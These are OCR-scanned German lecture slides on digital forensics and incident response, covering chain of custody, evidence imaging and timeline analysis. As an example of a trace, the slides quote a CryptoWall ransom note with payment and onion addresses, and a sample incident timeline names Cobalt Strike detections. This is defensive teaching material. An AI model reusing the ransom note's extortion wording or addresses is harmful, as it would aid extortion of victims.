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LEinfi]hrung

Aktuelle Angriffe

EXCHANGE LUCKEN:
Zehntausende Server
- betroffen

1

Hunderte Coop-Supermarkte in Schweden
nach REvil-Ransomwarebefall geschlossen

Die Attacke auf die VSA des IT-Di
weite Kreise: In Schweden mussten hunderte Supermérkte schlieRen.

Kaseya zieht

Q& O

Lesezeit: 2Min. (@) InPocket speichern

Adobe installiert verwundbares Chrome-Plug-In bei 30 Millionen

Nutzern
(0 hoive Socurity 20012017 17:03 U - Fabian A. Scherschel

Convert HTML to PDF.

Das Plug-in des Anstofies (Bid: Adobe)

Das Citrix-Desaster

Eine Sicherheitsliicke in Geraten der Firma Citrix zeigt in erschreckender Weise,
‘wie schlecht es um die IT-Sicherheit in Behorden steht. Es fehlt an den absoluten
Grundlagen.

Ein IMHO von Hanno Bick
14, Januar 2020, 14:07 Uhr
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LEinfi]hrung

Forensik

Forensik ist ein Sammelbegriff fur wissenschaftliche und
technische Arbeitsgebiete, in denen kriminelle Handlungen
systematisch untersucht werden.'

'https://de.wikipedia.org/wiki/Forensik


https://de.wikipedia.org/wiki/Forensik
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LEinfi]hrung

Abgrenzung Forensik vs. DFIR

Digital Forensics Incident Response

Ziel Untersuchung krimineller ~ Untersuchung von Sicher-
Handlungen heitsvorfallen

Anspruch Prazision und Korrektheit Schnelligkeit

Nutzung Straf- /Zivilrechtlich Incident Management / Busi-

ness Continuity Management
Echtweltvergleich  Polizei Feuerwehr

Besonderheiten Arbeiten im juristischen Rah-  Arbeiten unter hohem Zeit-
men druck
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Bereiche der Forensik

Rechtsmedizin

Forensische Genetik

Forensische Toxikologie

Forensische Linguistik

Computer-Forensik (Auch: Digitale Forensik, IT-Forensik)
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Digitale Forensik

Beschreibung

m Teilgebiet der Forensik

m behandelt die Untersuchung von verdachtigen Vorfallen
im Zusammenhang mit IT-Systemen und der Feststellung
des Tatbestandes und der Tater durch Erfassung, Analyse
und Auswertung digitaler Spuren

m strukturierte und lickenlose Analyse der betroffenen IT
Infrastruktur notwendig

m Ziel der Analyse: Auffinden von Spuren und
Nachvollziehen von Ablaufen im IT-System

m Gerichtsfestigkeit ist wesentliches Element der
IT-Forensik
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Digitale Forensik
Teilgebiete

® Multimediaforensik

m Mobilfunkforensik

m Betriebssystem-Forensik
m Cloud-Forensik

m Netzwerk-Forensik

m Malware-Forensik

m...
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Multimediaforensik

Untersuchung von digitalen Bild-, Ton und Videoaufnahmen

= ]

nnnnnnnnnnnnn Digitales Bild
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Mobilfunkforensik
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Forensik

Vorgehensweisen

Forensische Informatik: ist die Anwendung wissenschafticher
‘Methoden der Informatik auf Fragen des Rechtssystems.[Dewald 2011]
technisch

technisch

IT-Forensik/Digitale Forensik: ist die streng methodisch
D. u

auf Dat

undin C 2ur

Aufkldrung von Vorfallen unter i der der i
it aus der Sicht des eines |T-Systems.
[BsI 2011]
Post-mortem-Analyse Live-Analyse
(Offline-Forensik) (Online-Forensik)
-l hrend der Laufzeit des.

Images)
Gewinnung und Untersuchung von geloschton,
umbenannten sowie anderweitg versteckien und
verschiusselton Datoion

Vorfals
«Gewinnung und Untersuchung flichtiger Daten
BSI2011]

[BSI12011]
[

Data-Forensik
forensische Datenanalyse - Analyse von (meist groen)
Datenbestanden aus Anwendungen und den zugrunde
iegenden Dafenbanken

Disk-/Computerforensik
Analyse von Computer- oder Mobilgeraten und der darin
enthalensn Dsten
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Grundausstattung

m Werkzeug

m Datentrager
m Adapter
Kabel
Write-Blocker

[ ]
m Kamera

m ESD-Arbeitsmatte
m Koffer

m Plektrum
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Computerausstattung

m Auswertecomputer / Forensische Workstation
fur die Untersuchung der Asservate
keine Netzwerkverbindung zur AuBenwelt
Reduzierung von Zugriffsmoglichkeiten und Rechten
Rucksetzbar auf vorher definierten Stand
m Office-Rechner
Erstellen des Untersuchungsberichts/Gutachtens
empfohlen, das System vollstandig zu verschliisseln
m Internetcomputer

Internetrecherchen, Downloads und sonstigen
Internetnutzungen
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L Forensischer Arbeitsplatz

Die echte Welt
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L Forensischer Arbeitsplatz

Die echte Welt
il Yy
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Die digitale Rettungskette
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Zu beachtende Themen bei Sicherheitsvorfallen
(auBer Forensik)

SofortmaBnahmen

Meldepflichten?

Eindammung

Notbetrieb (vgl. ISO 22301/BSI 200-4: BCM)
Kommunikation

Wiederherstellung

thtps :
//www.bfdi.bund.de/SharedDocs/Downloads/LeitlinienMeldebogen.html


https://www.bfdi.bund.de/SharedDocs/Downloads/LeitlinienMeldebogen.html
https://www.bfdi.bund.de/SharedDocs/Downloads/LeitlinienMeldebogen.html
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Management von Forensikfallen

Forensikfalle ...
. sind schlecht planbar
... treten ungleichmaRig verteilt auf
. sind immer wichtig und dringend
m Hohe Stundensatze, manchmal aber Saure-Gurken-Zeit
m Zeit- und Erfolgsdruck — Hohe Resilienz erforderlich
m Ruhezeiten sind unbedingt einzuhalten
m Werkzeugpflege immens wichtig
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Management von Forensikfallen

Unsere Best Practices

m Forensik wird immer als Dienstleistung angeboten

m Forensiker arbeiten auch als Pentester, aber Forensik hat
Vorrang

m Vor-Ort-Einsatz immer zu zweit

m Wochenendarbeit vermeiden

m Viel Entscheidungsspielraum vor Ort
m Zusammenhalt im Team pflegen
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Tater

Strafrechtliche Definition

Als Tater wird allgemein jemand bezeichnet, der eine Tat
ausfiihrt oder etwas getan hat, insbesondere ein Straftéter. 3

Als Tater wird bestraft, wer die Straftat selbst oder durch
einen anderen begeht. (§25 (1) 1 StGB)

Ein Verddchtiger wird abhangig vom aktuellen
Verfahrensfortgang bezeichnet als Beschuldigter,
Angeschuldigter, Angeklagter und erst nach Verurteilung als
Tater. 4

Shttps://de.wikipedia.org/wiki/T%C3%A4ter
“https://de.wikipedia.org/wiki/T%C3%A4ter_(Strafrecht)



https://de.wikipedia.org/wiki/T%C3%A4ter
https://de.wikipedia.org/wiki/T%C3%A4ter_(Strafrecht)
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Tater

Begriff in der digitalen Forensik

Naturliche Person

Prozess

Benutzeraccount

Netzwerkfahiger Computer (IP-Adresse)

... (alles was als Akteur aufgefasst werden kann)
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Tatort

Eine Tat ist an jedem Ort begangen, an dem der Tater
gehandelt hat oder im Falle des Unterlassens hatte handeln
mussen oder an dem der zum Tatbestand gehorende Erfolg
eingetreten ist oder nach der Vorstellung des Taters eintreten
sollte. (89 (1) StGB)
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Tatort

Anbindung an die Reale
£ = Welt

Verbindung
reale und virtuelle
Welt

MAC-, IP-Adresse,
Angaben im Netz
Fotos
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Spur

Eine Spur im kriminalistischen Sinne ist als Sachbeweis ein
Gegenstand oder ein Hinweis, der als ein Indiz oder Beweis fir
eine Tat, eine Taterschaft und/oder eine Teilnahme in einem
Ermittlungsverfahren herangezogen wird. >

https://de.wikipedia.org/wiki/Spur_(Kriminalistik)


https://de.wikipedia.org/wiki/Spur_(Kriminalistik)
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Beispiele
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Spur

Beispiele digitaler Spuren

m Datei

m Registry-Eintrag
m Log-Eintrag
...
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Besonderheiten digitaler Spuren

m Lebensdauer der Spuren sehr verschieden (wenige
Sekunden bis mehrere Jahre)

m Nichtabstreitbarkeit (non-repudiation) schwierig bis
unmoglich
m verschiedene Fundorte moglich:
m Dateisystem
m Betriebssystem-Logs
= Anwendungsprotokolle
m Netzwerkverkehr
E...
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L Begriffe

Spur

Beispiel: CryptoWall 3.0?

What happened to your files?
All of your files were protected by a strong encryption with RSA-2048 using CrypoWall 2.0
Wore information about the encryption keys using RSA-2048 can be found here: hilp:/len wikipe dia SA

What does this mean?

This means that the structure and data within your files have been irevacably changed, you will not be able to wark

with them, read them or see them, itis the same thing as losing them forever, butwith our help, you can restore them,

How did this happen?

Especially for you, on our server was generatedthe secret key pair RSA-2048 - public and private

Allyour files were encrypted with the public key, which has been transferred to your computer via the Inemet

Decrypting of yourfiles is only possible with the help of the private key and decrypt program, which is on our secret server.

What do| do?

Alas, ifyou do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed
If you really value your datz, then we suggest you do not waste valuable time searching for other solutions because they do not exist

For mare specificinsiructions, please visityour personal home page, there are a few different addresses pointing to your page below.

613chEowi tcouepy . payoptvars . con/179zhg L
613chfowi tcouepy . payforusa.com/ 173zbgl
613chfowi tcouepy . paymel comefor . com/179zhg L
613ch6owi toouepy . payemarateslines. com/ 179zbgi

e -

Iffor some reasons the addresses are not available, follow these steps:

1. Download and install tor-browser: htp html.en
|2 After a successful installation, run the browser and waitfor iniialization

3. i3chfouiteouepy onion/i7izbei  «Typein the address bar

|4 Follow the instructions on the site

IMPORTANT INFORMATION:
613chBoni teouepy .paynptyars .con/173zhgl Your Personal PAGE
6i3chBouitcouepy.onion/L79zbgi < Your Personal PAGE(using TOR)
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Spur

Besonderheiten

m Fehlende Spuren
m Zuviele Spuren
m Charakteristische Spuren
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Spur

Fehlende Spuren

m Haufigstes Vorkommen: Lucken in Logdateien
m Nutzen 1: Nachweis der Manipulation
m Nutzen 2: Widerlegen von Verdachtsmomenten

m Absichtliches Manipulieren/Vernichten von Spuren wegen

m Angst vor ...
m Unwissenheit
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Spur
Fehlende Spuren

CHAQTISCHE
BEWEISSICHERUNG LEERER
PUMPGUN-HULSEN UND -
PATRONEN IM NSU-
WOHNMOBIL

@ SEPTEMBER 16,2014 & GEORGLEHLE # 10 KOMMENTARE

Teilil Auffi gslage Hiilse F

Sp.1.4_3.0 -an vorderer linker Sitz
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Spur

Fehlende Spuren

<Event xalus="http://schemas.microsoft.con/win/2004/08/events/event™

<System>
<Provider Name="Microsoft-Windows-Security-Auditing® Gui

</Provider>
<EventID>4625</EvantiD>
<Version>0</Version>
<Level>0</Lavel>
<Task>12544</Task>
<Opcoda>0</0pcoda>

¥ >
2021-03-18 19:38:05.013456 UTC">

y
<TimeCreated SystemTiam
</TimeCreatsa>
<EventRecordID>11480</EventRecordID>
<Correlation>

</Correlation>
<Exacution ProcessID:
</Execution>
<Channel>Security</Channsl>
<Computer>DG-5-10.4 La_i.intra</Computer>
<Security>

</Sacurity>

</Systan>

<EventData>

<pata
<Data
<Data
<pata
<Data
<pata
<Data

="564" ThreadlD="584">

SubjectLogonld>0x0</Data>
x5id">8-1-0-0</Data>
Thame"></Data>

<Data Name="FailureReason">%%2313</Data>
SubStatus~>0c0000064</Data>
LogonType~>3</Data>

<Data LogonProcessName">NtLnSsp </Data>
<Data AuvhenticationPackageName">NTLM</Data>
<Data WorkstationNane>ubz5bsB4gLGTPTAI</Data>
<Data TransmittedServices®>-</Data>

<Data LaPackageName ">-</Data>

<Data KeyLangth*>0</Data>

Processld">0x0</Data>

<Data Processame”>-</Data>
<Data IpAddress®>10.100.12.4</Data>
<Data TpPort">55658</Data>
</EventData>

</Event>
<Event xalus="http://schemas.microsoft.con/win/2004/08/events/event™

<System>
<Provider Name="Microsoft-Windows-Security-Auditing® Gui

</Provider>
<EventID>5061</EvantiD>
<Version>0</Version>
<Level>0</Lavel>
<Task>12200</Task>
<Opcoda>0</0pcoda>

¥ >
2021-04-06 23:34:30.969340 UTC">

5
<TimeCreated SystemTim
</TimeCraated>
<EventRecordID>11481</EventRecordID>
<Correlation>

</Correlation>

<Exacution ProcessID="564" ThreadlD="27720">
</Execution>
<Channel>Security</Channel>
<Computer >DC-S-10. EFFHTE

¥.intra</Computer>
<Security>

</Sacurity>

</Systan>

<EventData>

Hame:

SubjectUsersia=>8-1-5-18</Data>

SubjectDonainNiane "> aiM s </Data>
SubjectLogonId">0z3e7 </Data>
ProviderName”>Microsoft Software Key Storage Provider</

Data>
- Algori thnNane " >UNKROWN< /Data>
KeyName">EMS</Data>

<Data Name="KeyType">%%2409</Data>

<Data Wame="Operation->%}2480</Data>
<Data Name="ReturnCode">0xB0090016</Data>
</EventData:

</Event>

<Data Name
<Data Name
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Spur

Zuviele Spuren
CCC-Analyse des Staatstrojaners
Programmierter Verfassungsbruch

Die Analyse staatlicher Uberwachungssoftware durch den Chaos Club hat zutage

gefdrdert: Die eigentlich nur zur 0 von erlaubt einen
Vollzugriff auf den Rechner des Betroffenen. Das aber hat das i

@ Von Christian Stécker v

LM A

Online-Durchsuchung: Mehr als das Verfassungsgericht erlaubt

=8 CX

Sonntag, 09.10.2011 12:43 Uhr Drucken Nutzungsrechte Feedback Kemmentieren
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Spur

Zuviele Spuren

m Anmeldung als Administrator wahrend des Angriffs
m Nutzung ,,merkwurdiger” Software

m SSH-Verbindungen von extern

m. ...
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Fragestellungen

Ablauf muss klar definiert und jederzeit reproduzierbar sein.
Ziel des Prozesses: Beantwortung von

m Was ist geschehen?
m Wo ist es passiert?
m Wann ist es passiert?

m Wie wurde vorgegangen? Welche Tools/physikalischen
Mittel wurden eingesetzt?

Ggfs:
m Wer hat es getan?
m Wie kann das zukiinftig verhindert werden?
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Forensischer Prozess

[Strategische Vorbereitungj zlé?]l’::::men, die eine spatere forensische Untersuchung unter-
7

Incident
17

[ Operative Vorbereitung ]
¥
[ Datensammlung j Werkzeugkatalog aufstellen — Werkzeuge auswahlen — Da-

Ausloser der forensischen Untersuchung

Anfangsverdacht und Bestandsaufnahme der moglichen Daten-
quellen und Strategie festlegen, MaBnahmen zur Schadensmi-
nimierung

ten sammeln
Y

Datenanalyse
v
Dokumentation

Werkzeugkatalog aufstellen — Werkzeuge auswahlen — Da-
ten analysieren

Dokumentation und Ergebnisprotokoll
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Strategische Vorbereitung

Prozesse

m Sicherheit (BSI Grundschutz, ...)
m ISMS (ISO 27001, ...)
m BCM (ISO 22301, ...)
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Strategische Vorbereitung

MaBnahmen ... beim Betreiber der IT

m Logging
m Zeitsynchronisation
m Einsatz von Erkennungswerkzeugen (IDS, SIEM)

m Definition von Meldewegen (— Forensic Readiness
Assessment)
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Strategische Vorbereitung

MaBnahmen ... bei dem/der Forensiker:in

m Konzeptionierung und Ausstattung eines forensischen
Labors (Vorgehensplanung, HW, Formblatter, .. .)

m Auswahl und Test verschiedener Sicherungstools

m Vorbereiten von Boot-Images und Datentragern zur

Sicherung
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Strategische Vorbereitung

Forensic Readiness

m Sicherheitsorganisation
Rechtliche Rahmenbedingungen
Sicherheitsmechanismen

Logfileintegritat
Datenintegritat

[ ]
[ ]

m Nachvollziehbarkeit
[ ]

[ ]

m Angriffserkennung
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Operative MaBhnahmen

m MaBnahmen nach Eintreten eines Vorfalls
m Auswertung des Symptoms (Verdachtsfall)/Bewertung des
Vorfalls und der Indizien
m Definition der Vorgehensweise der forensischen
Untersuchung
Suche, Identifikation und Beschriftung der in Frage
kommenden Datenquellen (Computer, Handys, USB-Sticks,
externe Festplatten, aber auch RAM,
Routerkonfigurationen, Netzwerkstati, Logfiles, ...)
Auswahl der geplanten Sicherungsmittel (Tools und
Zieldatentrager)
Klarung des Zugriffs auf Datenquellen
m Einleitung von SofortmaBnahmen zur
Schadensminimierung
m Organisation des Projektteams und der
Aufgabenverteilung
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Datensammlung
Uberblick

m Auswahl forensisch relevanter, zu sichernder Daten
— eigentliche Sammlung der vorher festgestellten Daten

m Kontext: Erfassung von Systemparametern, laufenden
Prozessen, Netzwerkverbindungen, Nutzern

m Forensische Duplikation (Imaging) zur Beweissicherung

m Absicherung der Images gegen unerkannte Veranderung
(vgl. Chain of Custody)

m Ggf. Vier-Augen-Prinzip
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Datensammlung
Chain of Custody: Beweismittelkette

Die Beweismittelkette (engl. Chain of Custody) dokumentiert
den Fluss von Spuren oder Spurtragern iiber mehrere
Stationen bis zur Einbringung eines Beweismittels. Sie soll die
Nachvollziehbarkeit und Priifung der Authentizitat und
gegebenenfalls der Integritat ermoglichen. |...] Die
Beweismittelkette soll also sicherstellen, dass z. B. einem
Gericht nur ?originale? Beweismittel vorgelegt werden, an
denen keine Manipulationen stattgefunden haben. 67

6https ://verkehrsrecht.gfu.com/2017/05/
olg-frankfurt-rundum-sorglospakete-von-privatfirmen-bei-verkehrsueberwachung-u

"https://de.wikipedia.org/wiki/Beweismittelkette


https://verkehrsrecht.gfu.com/2017/05/olg-frankfurt-rundum-sorglospakete-von-privatfirmen-bei-verkehrsueberwachung-unzulaessig/
https://verkehrsrecht.gfu.com/2017/05/olg-frankfurt-rundum-sorglospakete-von-privatfirmen-bei-verkehrsueberwachung-unzulaessig/
https://de.wikipedia.org/wiki/Beweismittelkette
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Datensammlung

Chain of Custody: Beweismittelkette

Umsetzung: Chronologische Dokumentation

m Wer hat das Beweismittel gesichert (Name und
Kontaktinformationen)

m Wann wurde es gesichert (Systemzeit und Ortszeit)?

m Beschreibung des Beweismittels (make model, serial
number, condition of the item (digital images))

m Wo wurde es gesichert (physische Adresse, Foto der
Fundszene)?
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Datensammlung

Chain of Custody: Beweismittelkette

Werkzeuge
m Writeblocker
m Forensic Duplicator
m Kryptografische Priifsummen
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Datensammlung

Umgang mit betroffenem System

m Laufen lassen? ¥ q‘ Q : 2
o Q'? PRS-
m Herunter fahren? ¥
m Pausieren (nur virtuelle “l o
Maschinen)? w)
. C‘" LY
m Stecker ziehen? c,¢ s> A\ q"

Klare Antwort: Kommt drauf an!
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Datensammlung

Umgang mit betroffenem System

Zu beriicksichtigen:
m Hauptspeicherinhalte relevant?

m Gefahr von Spurenvernichtung durch Angreifer bei
Entdeckung?

m Datenmenge
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Datensammlung
Vorgehen bei Datensammlung

Bl Image Ram / Capture Memory (z.B. FTK Imager)
Triage Image erstellen

Test auf Festplattenverschliisselung

Gesamte Festplatte sichern
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L Forensischer Prozess/Vorgehensweise

Datensammlung

Triage

Systeminformatio-
nen

Netzwerkkonfigura-
tion O

I hosts
e

Protokolldateien = ot

> mft
> I prefetch

Benutzerprofile T
Laufende Prozesse

Loaded_dlls.txt
scheduled_tasks.txt

Offene Ports

B Startup_wmic et

Forensicimages

Userinfo

Offe ne Date-ien : Mig:ﬁgzj 2_091435._File_Hashes.xt

2_091435_Processing_Details.txt

Hashes
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Datensammlung

Image: Forensic Duplicator
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Datensammlung

Image: Metadaten sind wichtig!
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Datensammlung

Image: Umgang mit groen Datenmengen




Digital Forensics & Incident Response

L Forensischer Prozess/Vorgehensweise

L Datensammlung

Datensammlung

Nicht vergessen: Analoge Daten
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Dokumentation
"Pos.: Description: Filename Editor | Checksum:
=1 Autoruns file SOL-PAL-S002.arm’ Jan- MD5: 2c02f5f5a7e1bee1b0210a056a622501°
Starke:
m2: Forensic Image Notebook-  Firstfilename-of Jan- SHAT:
1{30349427221); Hard- image:- Starke’ | 9334fb710e34660cal40c589daa79ei621 76afac T
drive 5/N: 43TRTJ2CT TD2_IMG/2015-07- MD5:41a0dB82¢5cd2cd9a04c235dc013eb185
27-08-11-
30/IMAGE.0O1
"3 Forensic Image Notebook-  Firstfilename-of Jan- SHAT: .
2{38724293233);Hard.  image: Starke’ | 4ead362a8670c34aa3d2dbidbcidd17081017ee2 T
drive S/N: TD2_IMG/2015-07- MDE:1444160b199a18fdfd99d6e29035badd
TF755AYIKRDEKM: 27-16-45-
29/IMAGE.E01
m 4l Screenshotof Process: svchost.exe tiff Jan- MD5: fi6432¢02947ecb192ald206edad88b3"
Explorer{svchost.exe- Starke’
processes)
LI

g
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Datenanalyse
Chain of Custody

m Bei Ubergabe eines Beweismittels:

Wer hatte das Beweismittel bisher (Name und
Kontaktinformationen)

Wer Uibernimmt das Beweismittel (Name und
Kontaktinformationen)

Datum und Uhrzeit der Ubergabe

Zweck der Ubergabe

Zustand des Beweismittels

m Bei allen Aktionen:

Welche Aktionen wurden mit dem/auf dem Beweismittel
durchgefihrt?
Datum und Uhrzeit der Analyse

m Nicht mit dem Original arbeiten, Kopie verwenden!
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Datenanalyse

Investigative Process

Computer Forensics is as much of an art as it is a science!

m Forensische Untersuchung ist ein iterativer Prozess, keine
statische Disziplin wie eine DNA-Analyse

m Kein statischer Prozess

m Aber: immer im Rahmen der Befugnisse bleiben
m Wichtige Skills:

Verstandnis fiir das Betriebssystem und die Applikationen
User Aktionen und System Aktionen verstehen und
interpretieren

Problem-Losungsorientiertes Arbeiten

Analyse und nicht nur Daten Extraktion!

Hypothese Uber Vorgang aufstellen und nach Indizien zum
Belegen UND Widerlegen suchen!

Nicht nur eine Hypothese: iterativer Vorgang!
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Datenanalyse

Timeline Analysis

A 8 c o E G — J

date [~|time -|timezori-| MAC  source [-| sourcetype type < short sc
6/18/2009 22:30:26 ESTSEDT MACB 10G  WMiprovLogfile  Time Written  C:/Wii iscsi. Jun 18 22:30:26 2009.29992 Entry in log file: C:/Windows/
6/18/2009 22:30:26 ESTSEDT WMiprov Log il Time Written ___C:/Windows/system32/drivers/ndis.sys[MofResourceName](Thu Jun 18 22:30:26 2009.2998 Entry in log file: C:/Windows/
6/18/2009 22:36:15 ESTSEDT Vista/Win7 Prelnch Last run LOGON.SCR-7CBOCALC. pf: LOGON.SCR was executed LOGON.SCR-7C80CAIC.pf - [
6/18/2009 22:41:26 ESTSEDT Deleted Registry [ERRNAtCAN [DELETED] SYSTEM [DELETED] SYSTEM
6/18/2009 22:41:54 ESTSEDT Vista/Win7 Prelatch Last run DEFRAG.EXE-738093E8.pf: DEFRAG.EXE was executed
6/18/2009 22:41:54 ESTSEDT Vista/Win7 Prefatch DFRGNTFS.EXE-4F838A89.pf: DFRGNTFS.EXE was executed
6/18/2009 22:41:59 ESTSEDT ry [DELETED] emRoot/System32/Config/SOFTWARE
6/18/2009 23:33:57 ESTSEDT [DELETED] 222/0000000E/00000000/ [DELETED] ?
6/18/2009 23:33:57 ESTSEDT [DELETED] 222/{83da6326-9726-4088-9453-21923f573b29}/00000003/00000000/ [DELETED] 222,
6/18/2009 23:33:57 ESTSEDT i [DELETED] 222/00000003/00000000/ [DELETED] 222/0000(
6/18/2009 23:33:57 ESTSEDT [DELETED] 222/00000008/00000000/ [DELETED] 222/00000008/00¢
6/18/2009 23:34:09 ESTSEDT i Last run x D500.pf: PKMAILER. EXE was axecuted PKMAILER, EXE-83FAD500.pf
6/18/2009 23:34:35 ESTSEDT Last Written  Software/Google/GoogleToolbarNotifier/Stats Key name: HKEY_USER/Softw:
6/18/2009 23:34:36 ESTSEDT Last Written ___ Software/Google/GoogleToolbarNotifier/Temp Key name: HKEY_USER/Softw:
6/18/2009 23:34:50 ESTSEDT Vista/Win7 Prefatch IPODSERVICE.EXE-FE1AGFFY. pf: IPODSERVICE.EXE was exacuted 1PODSERVICE.EXE-FELAGFF7.
6/18/2009 23:34:59 ESTSEDT Vista/Win? Prefetch i pf: RUNDLL32.EXE was executed RUNDLL32, EXE-2E65B341,pf-
6/18/2009 23:34:59 ESTSEDT i UEME_RUNPATH:C:/Windows/system32/rundli32.exe
6/18/2009 23:35:05 ESTSEDT Flash Cookie: site ui/preferences
6/18/2009 23:35:07 ESTSEDT NTUSER key
6/18/2009 23:35:38 ESTSEDT Time of Launch
6/18/2009 22:35:39 ESTSEDT UserAssist key Time of Launch /Program Files/Mozilla Firafox/firafox.exe
6/18/2009 23:35:39 ESTSEDT Vista/Win? Prefetch Last run FIREFOX.EXE-EGOCOAAT. pf: FIREFOX.EXE was executed
6/18/2009 23:41:36 ESTSEDT Deleted Registry  [EESIES SN [DELETED] 222/00000003/
6/18/2009 23:41:36 ESTSEDT Deleted Registry [EESIICCONMNN [DELETED] 222/(83da6326-9726-4085-9453-21923f573b29)/
6/18/2009 23:41:36 ESTSEDT Deleted Registry  [ERSUATISSNNN [DELETED] 222/0000000F/

6/18/2009 23:41:36 ESTSEDT Deleted Registry  [ECQWIIE) [DELETED] 22/00000008/

£112/2000 221128 ECTERT Do Lact Writtan
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Datenanalyse

Timeline Analysis: Bodyfile®

0l/Windows ($FILE_NAME)|42-48-1|d/drwxrwxrwx|0]0/80/1393933379|1393933379]1393933379112475416
0l/Windows |42-144-3|d/druxrwxrwx |0]101392|159222107915922210791592221079|1247541608

0l/Windows/hh.exe ($FILE_NAME)|2899-48-3|r/rrwxrwxrwx|0|0|78]1247531343|1431334427|1431334427
0|/Windows/hh.exe|2899-128-2|r/rruxrwxrux |0/0116896|1247531343|1431334427|1431334533|12475313
0l/Windows/ShellNew ($FILE_NAME)|2934-48-0|d/drwxrwxrwx|0/0/82]11393934639|1302593599|13917556

Felder:
m Hash

m Dateiname

m Inode-Nummer

m Permission

m UID, GID

m Size

[

Timestamps (atime, mtime, ctime, crtime)

https://www.sleuthkit.org/


https://www.sleuthkit.org/
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Datenanalyse

Timeline Analysis: Quellen fur Bodyfile

m Dateisystem (f1s)

= SMFT bzw. Inodes
m SUsnJrnl

| Registry (regripper, registry-dump als Teil von regipy)
m Event Log (evtx2bodyfile)
n ...
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Datenanalyse

Timeline Analysis: Verarbeitung von Bodyfile

B mactime
B mactime2
B plaso

B dissect
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Datenanalyse

Timeline Analysis: Plaso®

Plaso Langar Ad Safna Ollu (,,Plaso will alles sammeln)
,super timeline all the things*

reimplementierung von log2timeline.pl
Python-basiertes Framework zur Timeline Analysis
Internes Format: SQLite

Export nach elasticsearch moglich

https://github.com/log2timeline/plaso


https://github.com/log2timeline/plaso
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Timeline Analysis: elastic stack

45,916 hits New Save Open Share lnspect CAutorefresh < 200, 020, >

3 — Ao -

Selected fields

# event identfier

t filename. § 00
e " H ‘ ‘ ‘ H H H ‘
Available felds o . [
‘o
cu event identifer
Time flename stings
© ndex
ey 2t 20, 5:0:30.000 pnion syt 425 S-1-0-0, -, -, OXOUOROOO000N0, S-1-0-0, adnin, 15-HOE-CONECT, OxcOROROGH, ¥
o s age/security. S31, Bucobnets 3 NiLRS » MTLY, Windous, - O, BxeosoRERSOOOARD, . 1
B5.202.1.186, 0
¢ e
ey 270 00, 570 o syt 4573 S, - oY, 100, o, 0GB, G, 33
¢ computer.name /Logs/Security.evtx 213, P(«BBBWEA 3, NtlsSsp , NTLM, Windows1e, -, 0000000000, -, 1
55.262.1.186,
« dmape
o aneime + February 27th 2620, 05:47:38.000 Vindows/Systemi2/vines 4,625 900080000, 5-1-0-0, adnin, S-HGB-COMIECT, DXcO00G0, W
ogs/security.evex 513, OcauBESE 3 LA+ NTLH, oS TOTS, - B, DXBOPOP00ORARNNG,
P 185,302.1.185, 0
+ enntlet ey 270 0, T o syt ne 473 S-1-6-0, ~, -, OXOUBNOO0000900000, 5-1-0-0, adnin, I5-HGE-COWECT, OxcORGR0GY, %
oge/security.evix 31, BxcobnRet 3 WeLRSS » NTLY, Windors L - - 8, DoRBROOOORIIOO,
 hosame 185, 202.1.185, 0
+ inode + February 27th 2020, 05:47:39.000 Mindows/Systemi2/vines 4,625 S-1-0-0, -, -, OXBUOROOO0N0, S-1-0-0, adnin, 15-HGE-CONECT, DxcOROROGH, 5
oge/security.evex vy m.a.m 32 NelaSsp , NTUA, mstsc, -, -, , Gx09RG000000000000, -, 165.2
+ mengs w2.1385,
B »  February 27th 2020, 05:47:39.000 /Windows/System32/winev 4,625 5-1-0-0, -, 0000000000000, S-1-0-0, adm\", 0S-HGB-CONNECT, Oxc000006d, W
— ogs/security.evtx o, quunao e i, et ox00Re00000009000, -, 165.2
— »  February 27th 2020, 5:47:40.000 /Windows/Systen32/winev 4,625 3 uxnuﬂuﬂuﬂununnn'n 5-1- n i‘ adnin, QS-HGB-CONNECT, nx(il"i&ﬂ m
O T ogs/security.evix g s, > s, o, sovasoosonssoace
- w2.1.106,

o recovered
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Timeline Analysis: Dokumentation

Timestamp Host Ereignis Beweis
2021-03-18 19:38:05 DC-5-10 Deaktivierung der Windows Event Logs 81
2021-03-18 19:38:05 DC-5-10 Erfolgloser Anmeldeversuch durch 8.1
ubzbbs84gtGTPTAY bzw. 10.100.12.4
2021-03-18 21:09:58 DC-5-10 Erzeugen von C:\Windows\Temp\mgnsvc. B84
» d11
2021-03-19 00:21:12 DC-S-10 Speichern von C:\Windows\Temp\mgnsve. B.4
> dll
2021-03-19 00:43:53 DC-5-10 FErkennung von mgnsve.dll als  To- 810
jan.Win64/TrojanDownloader Agent.il
2021-04-06 20:33:13 DC-5-10  Aktivitat von C:\Windows\system32\mstsc. 82
» exe vom Virenscanner als Win32/SevPnvEsc-
ByPipelmpersonation.C eingestuft
2021-04-06 20:41:15 DC-S-10 Erzeugen von  C:\Windows\System32\ B4
- mgnproc.dll
2021-04-06 20:41:15 DC-5-10 FErzeugen von  C:\Windows\System32\ 84
» pacproc.dll
2021-04-06 20:45:21 DC-5-10 vmtl. Beginn der Verteilung von Software 8.3
2021-04-06 20:48:39 DCO1 Erzeugen von C:\Windows\Temp\pacproc. B85
» d11
2021-04-06 21:54:35 DC-5-10  Aktivitét von C:\Windows\systen32\mstsc. B2

» exe vom Virenscanner als Win32/SevPrivEsc-
ByPipelmpersonation.C eingestuft
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Datenanalyse

Timeline Analysis: Dokumentation

Timestamp Host Ereignis Beweis

2021-04-06 20:55:49 DCO1 Speichem von C:\Windows\Temp\pacproc. 85
» dl1

2021-04-06 21:56:28 ESET Aktivitat won C:\Windows\system32\ 8.10
~+ Tund1132.exe vom Virenscanner als
Application. Win64/RiskWare. CobaltStrike. Be-
acon.A eingestuft

2021-04-06 21:58:26 ESET Aktivitat won C:\Windows\system32\ 8.10
» rundl132.exe vom Virenscanner als
Win64/RiskWare CobaltStrike Be-
acon A eingestuft

2021-04-06 21:59:58 ESET Aktivitat won C:\Windows\system32\ 8.10
+ rund1132.exe vom \Virenscanner als

Win64/RiskWare. C Be-
acon A eingestuft

2021-04-06 22:03:48 ESET Aktivitt ~ von  C:\Windows\system32\ 810
» rundl132.exe vom Virenscanner als
Application.Win64/RiskWare. CobaltStrike. Be-
acon A eingestuft

2021-04-06 23:02:42 DC-5-10 Anderung  von  C:\Windows\System32\ 84
» mgnproc.dll

2021-04-06 23:04:36.39 DCO1 Netzwerkanmeldung als Administrator von 87
DC-5-10 auf DCO1

2021-04-06 23:04:36.61 DCOL Zugriff auf pacproc. d11 durch DC-8-10 89

N, P .

T —
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Datenanalyse

Malware Analyse

m Dynamic Analysis (Ausfuhren)
m Static Analysis (Reverse Engineering)
